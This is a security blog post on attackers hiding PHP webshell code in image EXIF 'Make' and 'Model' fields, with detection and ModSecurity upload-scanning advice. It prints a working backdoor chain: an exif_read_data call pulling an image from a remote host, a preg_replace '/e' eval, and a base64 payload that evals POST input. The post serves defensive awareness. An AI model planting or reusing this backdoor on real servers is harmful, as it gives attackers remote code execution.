Hiding Webshell Backdoor Code in Image Files

Looks Can Be Deceiving

Do any of these pictures look suspicious?

Screen Shot 2013-10-11 at 3.39.08 PM

First appearances may be deceiving... Web attackers have have been using a method of stashing pieces of their PHP backdoor exploit code within the meta-data headers of these image files to evade detections. This is not a completely new tactic however it is not as well known by the defensive community so we want to raise awareness. Let's first take a quick look at why this technique is being utlized by attackers.

Standard Webshell Backdoor Code

There are many methods attackers employ to upload Webshell backdoor code onto compromised web servers including Remote File Inclusion (RFI), Wordpress TimThumb Plugin and even non-web attack vectors such as Stolen FTP Credentials. Here is a graphic taken from this years Trustwave SpiderLabs Global Security Report that lists the top malicious file types uploaded to compromised web servers:

MaliciousRFI_graphic
Let's take a look at a standard obfuscated R57 shell example:

Screen Shot 2013-10-11 at 12.26.17 PM

Notice the Base64 encoded parameter data and then the PHP Eval call at the end. Once PHP executes this code, it will decode and inflate the data stream and the result will be a basic file uploader webshell similar to the following:

Screen Shot 2013-10-11 at 12.28.17 PM

Incident Response Steps - Identification and Eradication

These types of attacks and compromises are so prevalent in Shared Hosting environments where end users do not properly update their web application software. In response to these types of scenarios, Hosting Provider security teams often employ OS-level back-end processes that scan the local file systems looking for tell-tale signs of webshell backdoor code. One example tool is called MalDetect. This script can be run to analyze files and detect various forms of malicious code. If we run maldetect against our example R57 webshell file we get the following:

$ sudo /usr/local/maldetect/maldet --config-option quar_hits=0,quar_clean=0,clamav_scan=1 -a "/tmp/lin.php"
Linux Malware Detect v1.4.2
(C) 2002-2013, R-fx Networks <proj@r-fx.org>
(C) 2013, Ryan MacDonald <ryan@r-fx.org>
inotifywait (C) 2007, Rohan McGovern <rohan@mcgovern.id.au>
This program may be freely redistributed under the terms of the GNU GPL v2

maldet(92294): {scan} signatures loaded: 9011 (7145 MD5 / 1866 HEX)
maldet(92294): {scan} building file list for /tmp/lin.php, this might take awhile...
maldet(92294): {scan} file list completed, found 1 files...
maldet(92294): {scan} 1/1 files scanned: 0 hits 0 cleaned
maldet(92294): {scan} scan completed on /tmp/lin.php: files 1, malware hits 1, cleaned hits 0
maldet(92294): {scan} scan report saved, to view run: maldet --report 101113-1250.92294
maldet(92294): {scan} quarantine is disabled! set quar_hits=1 in conf.maldet or to quarantine results run: maldet -q 101113-1250.92294$ sudo maldet --report 101113-1250.92294malware detect scan report for MacBook-Pro-2.local:SCAN ID: 101113-1250.92294TIME: Oct 11 12:50:48 -0400PATH: /tmp/lin.phpTOTAL FILES: 1TOTAL HITS: 1TOTAL CLEANED: 0NOTE: quarantine is disabled! set quar_hits=1 in conf.maldet or to quarantine results run: maldet -q 101113-1250.92294FILE HIT LIST:{MD5}base64.inject.unclassed.1 : /tmp/lin.php===============================================Linux Malware Detect v1.4.2 < proj@rfxn.com >

As you can see, maldetect identified this PHP file with of of its generic base64 injection signatures. While this indivudual file scanning does work, for managability, most organizations opt to run maldetect as part of an ogoing automated process run through scheduling tools such as Cron. The big problem with this process is that, for performance reasons, many organizations opt to only scan PHP files and exclude other file types from being scanned...

Hiding Webshell Backdoor Code in Image Files

This brings us back to the beginning of the blog post. Due to the cleanup tactics used by most organizations, the bad guys had to figure out a method of hiding their backdoor code in places that most likely would not be inspected. In this case, we are talking about hiding PHP code data within the Exif image header fields. The concept of Stegonography is not new and there have been many past examples of its use for passing data, however we are now seeing it used for automated code execution. I do want to give a proper hat-tip to the Sucuri Research Team who also found similar techniques being employed.

PHP Code In EXIF Headers

If you were to view-source in a browser or use something like the unix strings command, you could see the new code added to the top of the image files:

Screen Shot 2013-10-11 at 1.10.12 PM

After uploading this file to VirusTotal, you can see a more friendly representation of the EXIF fields:

Screen Shot 2013-10-11 at 1.18.14 PM

As you can see, the PHP code is held within the EXIF "Model" and "Make" fields. This data does not in any way interfere with the proper rendering of the image file itself.

PHP's exif_read_data function

PHP has a function called exif_read_data which allows it to read the header data of image files. It is used extensivly in many different plugins and tools. Here is an example from Facebook's GitHub Repo:

Screen Shot 2013-10-11 at 1.41.34 PM

Updated PHP Webshell Code

So, with pieces of their webshell stashes away within the EXIF headers of either local or remote image files, the attackers can then modify their PHP code to leverage the PHP exif_read_data function like this:

<?php$exif = exif_read_data('http://REDACTED/images/stories/Logo_Coveright.jpg');preg_replace($exif['Make'],$exif['Model'],'');?>

The first line downloads a remote jpg image file with the stashes code in it and then sets the $exif variable with the array value. We can modify this PHP code to simulate this by downloading the same files and then dumping the $exif data:

<?$exif = exif_read_data('http://REDACTED/images/stories/Logo_Coveright.jpg');
var_dump($exif);
?>

When executing this php file, we get the following output:

$ php ./exif_dumper.php
array(9) {
["FileName"]=>
string(18) "Logo_Coveright.jpg"
["FileDateTime"]=>
int(0)
["FileSize"]=>
int(6159)
["FileType"]=>
int(2)
["MimeType"]=>
string(10) "image/jpeg"
["SectionsFound"]=>
string(13) "ANY_TAG, IFD0"
["COMPUTED"]=>
array(5) {
["html"]=>
string(23) "width="155" height="77""
["Height"]=>
int(77)
["Width"]=>
int(155)
["IsColor"]=>
int(1)
["ByteOrderMotorola"]=>
int(0)
}
["Make"]=>
string(5) "/.*/e"
["Model"]=>
string(108) "eval(base64_decode('aWYgKGlzc2V0KCRfUE9TVFsienoxIl0pKSB7ZXZhbChzdHJpcHNsYXNoZXMoJF9QT1NUWyJ6ejEiXSkpO30='));"
}

The final setup in this process is to execute the PHP preg_replace function.

<?php$exif = exif_read_data('http://REDACTED/images/stories/Logo_Coveright.jpg');preg_replace($exif['Make'],$exif['Model'],'');?>

Notice that the $exif['Make'] variable data uses the "/.*/e" PCRE regex modifier (PREG_REPLACE_EVAL) which will evaluate the data from the $exif['Model'] variable. In this case, it would execute the base64_decode which results in the following PHP snippet of code:

if (isset($_POST["zz1"])) {eval(stripslashes($_POST["zz1"]));}

This code checks to see if there is a POST request body named "zz1" and if there is, it will then eval the contents. This makes it quite easy for attackers to sprinkle backdoor access code by injecting other legitimate PHP files with this combination of exif_read_data and preg_replace code.

How Widespread?

We can not accurately estimate how widespread this technique is being used however there is a small amount of empirical evidence by simply using public search engines to flag any web pages that list characteristics of either EXIF code hiding or searching for this specific base64 encoded string value.

Screen Shot 2013-10-11 at 2.24.03 PM
There are hundreds of examples of this base64 encoded data being present within image files.

Recommendations

Scan All Files for Malicious Code

If you are running OS level scanning of files on disk, carefully consider which file-types you want to include/exclude. As this scenario shows, attackers can take advantage of your excluded content to hide their code.

Scan Files During Attachment Uploading using ModSecurity

When end users are uploading images as file attachments, ModSecurity has the ability to:

  1. Extract the file and dump it to a tmp file on disk
  2. Execute the @inspectFile operator to analyze the file
  3. Block uploading if malware is found

The maldetect README file even includes instructions on how to integrate it with ModSecurity:

.: 12 [ MODSECURITY2 UPLOAD SCANNING ]The support for HTTP upload scanning is provided through mod_security2's inspectFile hook.This feature allows for a validation script to be used in permitting or denying an upload. The convenience script to faciliate this is called modsec.sh and is located in the/usr/local/maldetect installation path. The default setup is to run a standard maldet scanwith no clamav support, no cleaner rule executions and quarantining enabled; these optionsare set in the interest of performance vs accuracy which is a fair tradeoff. The scan options can be modified in the modsec.sh file if so desired, the defaultscan options are as follows:--config-option quar_hits=1,quar_clean=0,clamav_scan=0 --modsec -a "$file"There is a tangible performance difference in disabling clamav scanning in this usagescenario. The native LMD scanner engine is much faster than the clamav scanner enginein single file scans by a wide margin. A single file scan using clamav takes roughly3sec on average while the LMD scanner engine takes 0.5sec or less.To enable upload scanning with mod_security2 you must set enable the public_scan optionin conf.maldet (public_scan=1) then add the following rules to your mod_security2 configuration. These rules are best placed in your modsec2.user.conf file on cpanel serversor at the top of the appropraite rules file for your setup./usr/local/apache/conf/modsec2.user.conf (or similar mod_security2 rules file):SecRequestBodyAccess OnSecRule FILES_TMPNAMES "@inspectFile /usr/local/maldetect/modsec.sh" \                "log,auditlog,deny,severity:2,phase:2,t:none"A restart of the HTTPd service is required following these changes.When an upload takes place that is determined to be malware, it will be rejected and anentry will appear in the mod_security2 SecAuditLog file. On cpanel servers and mostconfigurations this is the modsec_audit.log located under /usr/local/apache/logs or /var/log/httpd.The log entry will appear similar to the following:
Message: Access denied with code 406 (phase 2). File "/tmp/20111120-....-file" rejected bythe approver script "/usr/local/maldetect/modsec.sh": 0 maldet: {HEX}php.cmdshell.r57.317/tmp/20111120-....-file [file "/usr/local/apache/conf/modsec2.user.conf"] [line "3"][severity "CRITICAL"]

Trustwave reserves the right to review all comments in the discussion below. Please note that for security and other reasons, we may not approve comments containing links.